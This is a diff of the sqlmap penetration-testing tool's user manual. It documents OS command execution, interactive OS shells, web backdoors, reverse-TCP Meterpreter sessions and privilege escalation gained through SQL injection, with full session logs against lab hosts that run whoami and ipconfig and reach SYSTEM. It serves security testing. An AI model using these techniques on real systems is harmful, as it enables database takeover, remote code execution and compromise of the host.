    On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, sys_exec() and sys_eval(), then -it creates these two functions on the database and call one of them to -execute the specified command, depending on the user's choice to display -the standard output or not. -On Microsoft SQL Server, sqlmap abuses the xp_cmshell stored -procedure: if it's disabled, sqlmap re-enables it; if it does not exist, -sqlmap creates it from scratch.

    +it creates these two functions on the database and calls one of them to +execute the specified command, depending on user's choice to display the +standard output or not. +On Microsoft SQL Server, sqlmap abuses the xp_cmdshell stored +procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), +sqlmap re-enables it; if it does not exist, sqlmap creates it from +scratch.

    -

    If the user wants to retrieve the command standard output, sqlmap will use -one of the enumeration SQL injection techniques (blind or inband) to -retrieve it or, in case of stacked query SQL injection technique, -sqlmap will execute the command without returning anything to the user.

    +

    When the user requests the standard output, sqlmap uses one of the +enumeration SQL injection techniques (blind, inband or error-based) to +retrieve it. Vice versa, if the standard output is not required, stacked +query SQL injection technique is used to execute the command.

    These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.

    +Advanced SQL injection to operating system full control.

    -

    It is possible to specify a single command to be executed with the ---os-cmd option.

    - -

    Example on a PostgreSQL 8.3.5 target:

    +

    Example against a PostgreSQL target:

    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.aspx?id=1" \
-  --os-cmd "whoami" -v 1
+$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
+  --os-cmd id -v 1
 
 [...]
-[hh:mm:05] [INFO] the back-end DBMS is PostgreSQL
-web server operating system: Windows 2003 or 2008
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
+web application technology: PHP 5.2.6, Apache 2.2.9
 back-end DBMS: PostgreSQL
+[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
+[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
+[hh:mm:12] [INFO] testing if current user is DBA
+[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
+[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
+[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
+[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
+[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
+do you want to retrieve the command standard output? [Y/n/a] y
+command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
 
-[hh:mm:05] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:05] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:05] [INFO] retrieved: 8.3.5,
-[hh:mm:15] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:15] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:15] [INFO] retrieved: 1
-[hh:mm:16] [INFO] the back-end DBMS operating system is Windows
-[hh:mm:16] [INFO] testing if current user is DBA
-[hh:mm:16] [INFO] retrieved: 1
-[hh:mm:16] [INFO] checking if sys_exec UDF already exist
-[hh:mm:16] [INFO] retrieved: 0
-[hh:mm:18] [INFO] checking if sys_eval UDF already exist
-[hh:mm:18] [INFO] retrieved: 0
-[hh:mm:20] [INFO] creating sys_exec UDF from the binary UDF file
-[hh:mm:20] [INFO] creating sys_eval UDF from the binary UDF file
-do you want to retrieve the command standard output? [Y/n] 
-[hh:mm:35] [INFO] retrieved: w2k3dev\postgres
-command standard output:    'w2k3dev\postgres'
-
    -
    -

    - -

    Example on a Microsoft SQL Server 2005 Service Pack 0 target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
-  --os-cmd "whoami" --union-use -v 1
-
-[...]
-[hh:mm:58] [INFO] the back-end DBMS is Microsoft SQL Server
-web server operating system: Windows 2000
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP
-back-end DBMS: Microsoft SQL Server 2005
-
-[hh:mm:58] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing 
-technique
-[hh:mm:58] [INFO] confirming full inband sql injection on parameter 'name'
-[hh:mm:58] [WARNING] the target url is not affected by an exploitable full inband sql 
-injection vulnerability
-[hh:mm:58] [INFO] confirming partial (single entry) inband sql injection on parameter 'name' 
-by appending a false condition after the parameter value
-[hh:mm:58] [INFO] the target url is affected by an exploitable partial (single entry) inband 
-sql injection vulnerability
-valid union:    'http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION 
-ALL SELECT NULL, NULL, NULL-- AND 'SonLv'='SonLv'
-
-[hh:mm:58] [INFO] testing stacked queries support on parameter 'name'
-[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'name'
-[hh:mm:03] [INFO] testing if current user is DBA
-[hh:mm:03] [INFO] checking if xp_cmdshell extended procedure is available, wait..
-[hh:mm:09] [INFO] xp_cmdshell extended procedure is available
-do you want to retrieve the command standard output? [Y/n] 
-[hh:mm:11] [INFO] the SQL query provided returns 1 entries
-command standard output:
----
-nt authority\network service
----
+[hh:mm:19] [INFO] cleaning up the database management system
+do you want to remove UDF 'sys_eval'? [Y/n] y
+do you want to remove UDF 'sys_exec'? [Y/n] y
+[hh:mm:23] [INFO] database management system cleanup finished
+[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can 
+only be deleted manually

    It is also possible to simulate a real shell where you can type as many arbitrary commands as you wish. The option is --os-shell and has -the same TAB completion and history functionalities like ---sql-shell.

    +the same TAB completion and history functionalities that +--sql-shell has.

    -

    Example on a MySQL 5.0.67 target:

    +

    Where stacked queries has not been identified on the web application +(e.g. PHP or ASP with back-end database management system being MySQL) and +the DBMS is MySQL, it is still possible to abuse the SELECT +clause's INTO OUTFILE to create a web backdoor in a writable +folder within the web server document root and still get command +execution assuming the back-end DBMS and the web server are hosted on the +same server. +sqlmap supports this technique and allows the user to provide a +comma-separated list of possible document root sub-folders where try to +upload the web file stager and the subsequent web backdoor. Also, sqlmap +has its own tested web file stagers and backdoors for the following +languages:

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" \
-  --os-shell -v 2
-
-[...]
-[hh:mm:36] [INFO] the back-end DBMS is MySQL
-web server operating system: Windows 2003 or 2008
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
-back-end DBMS: MySQL >= 5.0.0
-
-[hh:mm:36] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:36] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:36] [DEBUG] query: IFNULL(CAST(MID((VERSION()), 1, 6) AS CHAR(10000)), CHAR(32))
-[hh:mm:36] [INFO] retrieved: 5.0.67
-[hh:mm:37] [DEBUG] performed 49 queries in 1 seconds
-[hh:mm:37] [DEBUG] query: SELECT SLEEP(5)
-[hh:mm:42] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:42] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
-[hh:mm:42] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
-[hh:mm:42] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
-[hh:mm:42] [DEBUG] query: SELECT IFNULL(CAST(MID(@@datadir, 1, 1) AS CHAR(10000)), CHAR(32))
-[hh:mm:42] [INFO] retrieved: C
-[hh:mm:42] [DEBUG] performed 14 queries in 0 seconds
-[hh:mm:42] [INFO] the back-end DBMS operating system is Windows
-[hh:mm:42] [DEBUG] cleaning up the database management system
-[hh:mm:42] [DEBUG] removing support tables
-[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
-[hh:mm:42] [INFO] testing if current user is DBA
-[hh:mm:42] [DEBUG] query: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=
-(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64), 1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END)
-[hh:mm:42] [INFO] retrieved: 1
-[hh:mm:43] [DEBUG] performed 5 queries in 0 seconds
-[hh:mm:43] [INFO] checking if sys_exec UDF already exist
-[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
-CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=CHAR(115,121,115,95,101,120,101,99)) 
-THEN 1 ELSE 0 END)
-[hh:mm:43] [INFO] retrieved: 0
-[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
-[hh:mm:43] [INFO] checking if sys_eval UDF already exist
-[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
-CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=CHAR(115,121,115,95,101,118,97,108)) 
-THEN 1 ELSE 0 END)
-[hh:mm:43] [INFO] retrieved: 0
-[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
-[hh:mm:43] [DEBUG] going to upload the binary file with stacked query SQL injection technique
-[hh:mm:43] [DEBUG] creating a support table to write the hexadecimal encoded file to
-[hh:mm:43] [DEBUG] query: DROP TABLE sqlmapfile
-[hh:mm:43] [DEBUG] query: CREATE TABLE sqlmapfile(data longblob)
-[hh:mm:43] [DEBUG] encoding file to its hexadecimal string value
-[hh:mm:43] [DEBUG] forging SQL statements to write the hexadecimal encoded file to the 
-support table
-[hh:mm:43] [DEBUG] inserting the hexadecimal encoded file to the support table
-[hh:mm:43] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (0x4d5a90 [...])
-[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
-[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xffcbff [...])
-[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x490068 [...])
-[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x1c5485 [...])
-[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x14cc63 [...])
-[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x207665 [...])
-[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x5c5379 [...])
-[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x0e5bc2 [...])
-[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x505357 [...])
-[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
-[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x696372 [...])
-[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xdd8400 [...])
-[hh:mm:44] [DEBUG] exporting the binary file content to file './libsqlmapudftxxgk.dll'
-[hh:mm:44] [DEBUG] query: SELECT data FROM sqlmapfile INTO DUMPFILE './libsqlmapudftxxgk.dll'
-[hh:mm:44] [DEBUG] cleaning up the database management system
-[hh:mm:44] [DEBUG] removing support tables
-[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapfile
-[hh:mm:44] [INFO] creating sys_exec UDF from the binary UDF file
-[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_exec
-[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_exec RETURNS int SONAME 'libsqlmapudftxxgk.dll'
-[hh:mm:44] [INFO] creating sys_eval UDF from the binary UDF file
-[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_eval
-[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_eval RETURNS string SONAME 
-'libsqlmapudftxxgk.dll'
-[hh:mm:44] [DEBUG] creating a support table to write commands standard output to
-[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapoutput
-[hh:mm:44] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
-[hh:mm:44] [INFO] going to use injected sys_eval and sys_exec user-defined functions for 
-operating system command execution
-[hh:mm:44] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
-os-shell> whoami
-do you want to retrieve the command standard output? [Y/n] 
-[hh:mm:41] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('whoami'))
-[hh:mm:41] [DEBUG] query: SELECT IFNULL(CAST(data AS CHAR(10000)), CHAR(32)) FROM 
-sqlmapoutput
-[hh:mm:41] [INFO] retrieved: nt authority\system
-[hh:mm:44] [DEBUG] performed 140 queries in 2 seconds
-[hh:mm:44] [DEBUG] query: DELETE FROM sqlmapoutput
-command standard output:    'nt authority\system'
-
-os-shell> [TAB TAB]
-copy         del          dir          echo         md           mem          move         
-net          netstat -na  ver          whoami       xcopy        
-
-os-shell> exit
-[hh:mm:51] [INFO] cleaning up the database management system
-[hh:mm:51] [DEBUG] removing support tables
-[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapfile
-[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapoutput
-do you want to remove sys_exec UDF? [Y/n] n
-do you want to remove sys_eval UDF? [Y/n] n
-[hh:mm:04] [INFO] database management system cleanup finished
-[hh:mm:04] [WARNING] remember that UDF dynamic-link library files saved on the file system 
-can only be deleted manually
-
    -
    +
      +
    • ASP
      • +
    • ASP.NET
      • +
    • JSP
      • +
    • PHP
      • +

    -

    Now run it again, but specifying the --union-use to retrieve the -command standard output quicker, via UNION based SQL injection, when the -parameter is affected also by inband SQL injection vulnerability:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" \
-  --os-shell -v 2 --union-use
 
-[...]
-[hh:mm:16] [INFO] the back-end DBMS is MySQL
-web server operating system: Windows 2003 or 2008
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
-back-end DBMS: MySQL >= 5.0.0
+
    Out-of-band stateful connection: Meterpreter & friends
    
 
-[hh:mm:16] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing 
-technique
-[hh:mm:16] [INFO] confirming full inband sql injection on parameter 'id'
-[hh:mm:16] [INFO] the target url is affected by an exploitable full inband sql injection 
-vulnerability
-valid union:    'http://172.16.213.131/sqlmap/mysql/iis/get_int.aspx?id=1 UNION ALL SELECT 
-NULL, NULL, NULL# AND 528=528'
-
-[hh:mm:16] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:16] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:16] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
-MID((VERSION()), 1, 6),CHAR(117,114,115,75,117,102)), NULL# AND 3173=3173
-[hh:mm:16] [DEBUG] performed 1 queries in 0 seconds
-[hh:mm:16] [DEBUG] query: SELECT SLEEP(5)
-[hh:mm:21] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:21] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
-[hh:mm:21] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
-[hh:mm:21] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
-[hh:mm:21] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
-MID(@@datadir, 1, 1),CHAR(117,114,115,75,117,102)), NULL# AND 6574=6574
-[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
-[hh:mm:21] [INFO] the back-end DBMS operating system is Windows
-[hh:mm:21] [DEBUG] cleaning up the database management system
-[hh:mm:21] [DEBUG] removing support tables
-[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
-[hh:mm:21] [INFO] testing if current user is DBA
-[hh:mm:21] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE 
-WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64), 
-1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# AND 19=19
-[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
-[hh:mm:21] [INFO] checking if sys_exec UDF already exist
-[hh:mm:21] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN 
-((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=
-CHAR(115,121,115,95,101,120,101,99)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# 
-AND 4900=4900
-[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
-sys_exec UDF already exists, do you want to overwrite it? [y/N] n
-[hh:mm:24] [INFO] checking if sys_eval UDF already exist
-[hh:mm:24] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN 
-((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=
-CHAR(115,121,115,95,101,118,97,108)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# 
-AND 4437=4437
-[hh:mm:24] [DEBUG] performed 1 queries in 0 seconds
-sys_eval UDF already exists, do you want to overwrite it? [y/N] n
-[hh:mm:25] [DEBUG] keeping existing sys_exec UDF as requested
-[hh:mm:25] [DEBUG] keeping existing sys_eval UDF as requested
-[hh:mm:25] [DEBUG] creating a support table to write commands standard output to
-[hh:mm:25] [DEBUG] query: DROP TABLE sqlmapoutput
-[hh:mm:25] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
-[hh:mm:25] [INFO] going to use injected sys_eval and sys_exec user-defined functions for 
-operating system command execution
-[hh:mm:25] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
-os-shell> ipconfig
-do you want to retrieve the command standard output? [Y/n] 
-[hh:mm:29] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('ipconfig'))
-[hh:mm:29] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),IFNULL(CAST
-(data AS CHAR(10000)), CHAR(32)),CHAR(117,114,115,75,117,102)), NULL FROM sqlmapoutput# AND 
-7106=7106
-[hh:mm:29] [DEBUG] performed 1 queries in 0 seconds
-[hh:mm:29] [DEBUG] query: DELETE FROM sqlmapoutput
-command standard output:
----
-
-Windows IP Configuration
-
-
-Ethernet adapter Local Area Connection 2:
-
-   Connection-specific DNS Suffix  . : localdomain
-   IP Address. . . . . . . . . . . . : 172.16.213.131
-   Subnet Mask . . . . . . . . . . . : 255.255.255.0
----Default Gateway . . . . . . . . . : 172.16.213.1
-
-os-shell> exit
-[hh:mm:41] [INFO] cleaning up the database management system
-[hh:mm:41] [DEBUG] removing support tables
-[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapfile
-[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapoutput
-do you want to remove sys_exec UDF? [Y/n] n
-do you want to remove sys_eval UDF? [Y/n] n
-[hh:mm:54] [INFO] database management system cleanup finished
-[hh:mm:54] [WARNING] remember that UDF dynamic-link library files saved on the file system 
-can only be deleted manually
-
    -
    -

    - -

    As you can see from this second example, sqlmap firstly check if the two -user-defined functions are already created, if so, it asks the user if he -wants to recreate them or keep them and save time.

    - - -

    Prompt for an out-of-band shell, Meterpreter or VNC

    - -

    Options: --os-pwn, --priv-esc, --msf-path and --tmp-path

    +

    Switches: --os-pwn, --os-smbrelay, +--os-bof, --priv-esc, +--msf-path and --tmp-path

    It is possible to establish an out-of-band stateful TCP connection -between the user machine and the database server underlying operating -system. This channel can be an interactive command prompt, a Meterpreter -session or a graphical user interface (VNC) session as per user's choice. -sqlmap relies on Metasploit to create the shellcode and implements four +between the attacker machine and the database server underlying +operating system when the back-end database management system is either +MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the +needed privileges to abuse database specific functionalities and +architectural weaknesses. +This channel can be an interactive command prompt, a Meterpreter session +or a graphical user interface (VNC) session as per user's choice.

    + +

    sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:

    • Database in-memory execution of the Metasploit's shellcode via sqlmap own user-defined function sys_bineval(). Supported on -MySQL and PostgreSQL.
      • +MySQL and PostgreSQL - switch --os-pwn.
    • Upload and execution of a Metasploit's stand-alone payload stager via sqlmap own user-defined function sys_exec() on MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL -Server.
      • +Server - switch --os-pwn.
    • Execution of Metasploit's shellcode by performing a SMB reflection attack ( MS08-068) with a UNC path request from the database server to -the user's machine where the Metasploit smb_relay server exploit -runs.
      • +the attacker's machine where the Metasploit smb_relay server +exploit listens. Supported when running sqlmap with high privileges +(uid=0) on Linux/Unix and the target DBMS runs as Administrator +on Windows - switch --os-smbrelay.
    • Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL Server 2000 and 2005 sp_replwritetovarbin stored procedure heap-based buffer overflow ( -MS09-004) with automatic DEP bypass.
      • +MS09-004). sqlmap has its own exploit to trigger the +vulnerability with automatic DEP memory protection bypass, but it relies +on Metasploit to generate the shellcode to get executed upon successful +exploitation - switch --os-bof.

    -

    Note that this feature is not supported by sqlmap running on Windows -because it relies on Metasploit's msfcli which is not -available for Windows.

    -

    These techniques are detailed in the white paper -Advanced SQL injection to operating system full control and in the +Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.

    -

    Example on a MySQL 5.1 target:

    +

    Example against a MySQL target:

    -$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mysql/get_int_51.aspx?id=1" \
-  --os-pwn -v 1 --msf-path /home/inquis/software/metasploit
+$ python sqlmap.py -u "http://192.168.136.128/sqlmap/mysql/get_int_51.aspx?id=1" \
+  --os-pwn -v 1 --msf-path /tmp/metasploit
 
 [...]
-web server operating system: Windows 2003 or 2008
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
-back-end DBMS: MySQL >= 5.0.0
-
-[hh:mm:09] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:09] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:09] [INFO] retrieved: 5.1.30
-[hh:mm:18] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:18] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:18] [INFO] retrieved: C
-[hh:mm:19] [INFO] the back-end DBMS operating system is Windows
-[hh:mm:19] [INFO] testing if current user is DBA
-[hh:mm:19] [INFO] retrieved: 1
-[hh:mm:20] [INFO] checking if UDF 'sys_bineval' already exist
-[hh:mm:20] [INFO] retrieved: 0
-[hh:mm:21] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:21] [INFO] retrieved: 0
-[hh:mm:21] [INFO] retrieving MySQL base directory absolute path
-[hh:mm:21] [INFO] retrieved: C:\Program Files\MySQL\MySQL Server 5.1\
-[hh:mm:46] [WARNING] this will only work if the database administrator created manually 
-the 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin' subfolder
-[hh:mm:47] [INFO] creating UDF 'sys_bineval' from the binary UDF file
-[hh:mm:47] [INFO] creating UDF 'sys_exec' from the binary UDF file
-how do you want to execute the Metasploit shellcode on the back-end database underlying 
-operating system?
-[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
-[2] Stand-alone payload stager (file system way)
-> 1
-[hh:mm:51] [INFO] creating Metasploit Framework 3 multi-stage shellcode 
-which connection type do you want to use?
-[1] Reverse TCP: Connect back from the database host to this machine (default)
-[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
-between the specified and 65535
-[3] Bind TCP: Listen on the database host for a connection
-> 1
-which is the local address? [172.16.213.1] 
-which local port number do you want to use? [47776] 
-which payload do you want to use?
-[1] Meterpreter (default)
-[2] Shell
-[3] VNC
-> 1
-[hh:mm:55] [INFO] creation in progress .............................................. done
-[hh:mm:41] [INFO] running Metasploit Framework 3 command line interface locally, wait..
-[*] Please wait while we load the module tree...
-[*] Started reverse handler on 172.16.213.1:47776 
-[*] Starting the payload handler...
-[hh:mm:22] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', wait..
-[*] Sending stage (748032 bytes)
-[*] Meterpreter session 1 opened (172.16.213.1:47776 -> 172.16.213.128:2176)
-
-meterpreter > Loading extension espia...success.
-meterpreter > Loading extension incognito...success.
-meterpreter > Loading extension priv...success.
-meterpreter > Loading extension sniffer...success.
-meterpreter > Computer: W2K3DEV
-OS      : Windows .NET Server (Build 3790, Service Pack 2).
-Arch    : x86
-Language: en_US
-meterpreter > Server username: NT AUTHORITY\SYSTEM
-meterpreter > ipconfig
-
-MS TCP Loopback interface
-Hardware MAC: 00:00:00:00:00:00
-IP Address  : 127.0.0.1
-Netmask     : 255.0.0.0
-
-
-
-VMware Accelerated AMD PCNet Adapter #2
-Hardware MAC: 00:0c:29:86:69:1b
-IP Address  : 172.16.213.128
-Netmask     : 255.255.255.0
-
-
-meterpreter > exit
-
-[hh:mm:52] [INFO] cleaning up the database management system
-do you want to remove UDF 'sys_bineval'? [Y/n] 
-do you want to remove UDF 'sys_exec'? [Y/n] 
-[hh:mm:54] [INFO] database management system cleanup finished
-[hh:mm:54] [WARNING] remember that UDF dynamic-link library files and Metasploit related 
-files in the temporary folder saved on the file system can only be deleted manually
+TODO

    @@ -5177,527 +2489,44 @@ runs as a low-privileged user postgres on both Windows and Linux. Microsoft SQL Server 2000 by default runs as SYSTEM, whereas Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK SERVICE and sometimes as LOCAL SERVICE.

    +

    It is possible to provide sqlmap with the --priv-esc -option to perform a database process' user privilege escalation +switch to perform a database process' user privilege escalation via Metasploit's getsystem command which include, among others, the kitrap0d technique ( -MS10-015) or via -Windows Access Tokens kidnapping by using Meterpreter's -incognito extension.

    - -

    Example on a Microsoft SQL Server 2005 Service Pack 0 running as -NETWORK SERVICE on the target:

    -

    -

    -
    -$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1" \
-  --os-pwn -v 1 --msf-path /home/inquis/software/metasploit --priv-esc
-
-[...]
-web server operating system: Windows 2000
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP
-back-end DBMS: Microsoft SQL Server 2005
-
-[hh:mm:47] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:52] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:52] [INFO] testing if current user is DBA
-[hh:mm:52] [INFO] retrieved: 1
-[hh:mm:52] [INFO] checking if xp_cmdshell extended procedure is available, wait..
-[hh:mm:01] [INFO] xp_cmdshell extended procedure is available
-[hh:mm:01] [INFO] creating Metasploit Framework 3 payload stager
-which connection type do you want to use?
-[1] Reverse TCP: Connect back from the database host to this machine (default)
-[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
-between the specified and 65535
-[3] Bind TCP: Listen on the database host for a connection
-> 1
-which is the local address? [172.16.213.1] 
-which local port number do you want to use? [44780] 
-[hh:mm:52] [INFO] forcing Metasploit payload to Meterpreter because it is the only payload 
-that can be used to escalate privileges, either via 'incognito' extension or via 
-'getsystem' command
-which payload encoding do you want to use?
-[1] No Encoder
-[2] Alpha2 Alphanumeric Mixedcase Encoder
-[3] Alpha2 Alphanumeric Uppercase Encoder
-[4] Avoid UTF8/tolower
-[5] Call+4 Dword XOR Encoder
-[6] Single-byte XOR Countdown Encoder
-[7] Variable-length Fnstenv/mov Dword XOR Encoder
-[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
-[9] Non-Alpha Encoder
-[10] Non-Upper Encoder
-[11] Polymorphic XOR Additive Feedback Encoder (default)
-[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
-[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
-> 
-[hh:mm:53] [INFO] creation in progress ..... done
-[hh:mm:58] [INFO] compression in progress . done
-[hh:mm:59] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/tmpmqyws.exe'
-[hh:mm:05] [INFO] running Metasploit Framework 3 command line interface locally, wait..
-[*] Please wait while we load the module tree...
-[*] Started reverse handler on 172.16.213.1:44780 
-[*] Starting the payload handler...
-[hh:mm:31] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
-[*] Sending stage (748032 bytes)
-[*] Meterpreter session 1 opened (172.16.213.1:44780 -> 172.16.213.128:2185)
-
-meterpreter > 
-[hh:mm:34] [INFO] trying to escalate privileges using Meterpreter 'getsystem' command which 
-tries different techniques, including kitrap0d
-[hh:mm:34] [INFO] displaying the list of Access Tokens availables. Choose which user you 
-want to impersonate by using incognito's command 'impersonate_token' if 'getsystem' did not 
-success to elevate privileges
-Loading extension espia...success.
-meterpreter > Loading extension incognito...success.
-meterpreter > Loading extension priv...success.
-meterpreter > Loading extension sniffer...success.
-meterpreter > Computer: W2K3DEV
-OS      : Windows .NET Server (Build 3790, Service Pack 2).
-Arch    : x86
-Language: en_US
-meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
-meterpreter > ...got system (via technique 4).
-meterpreter > 
-Delegation Tokens Available
-========================================
-NT AUTHORITY\LOCAL SERVICE
-NT AUTHORITY\NETWORK SERVICE
-NT AUTHORITY\SYSTEM
-W2K3DEV\Administrator
-W2K3DEV\IUSR_W2K3STENSP0
-W2K3DEV\postgres
-
-Impersonation Tokens Available
-========================================
-NT AUTHORITY\ANONYMOUS LOGON
-
-meterpreter > Server username: NT AUTHORITY\SYSTEM
-meterpreter > ipconfig
-
-MS TCP Loopback interface
-Hardware MAC: 00:00:00:00:00:00
-IP Address  : 127.0.0.1
-Netmask     : 255.0.0.0
+MS10-015).
    
 
 
-
-VMware Accelerated AMD PCNet Adapter #2
-Hardware MAC: 00:0c:29:86:69:1b
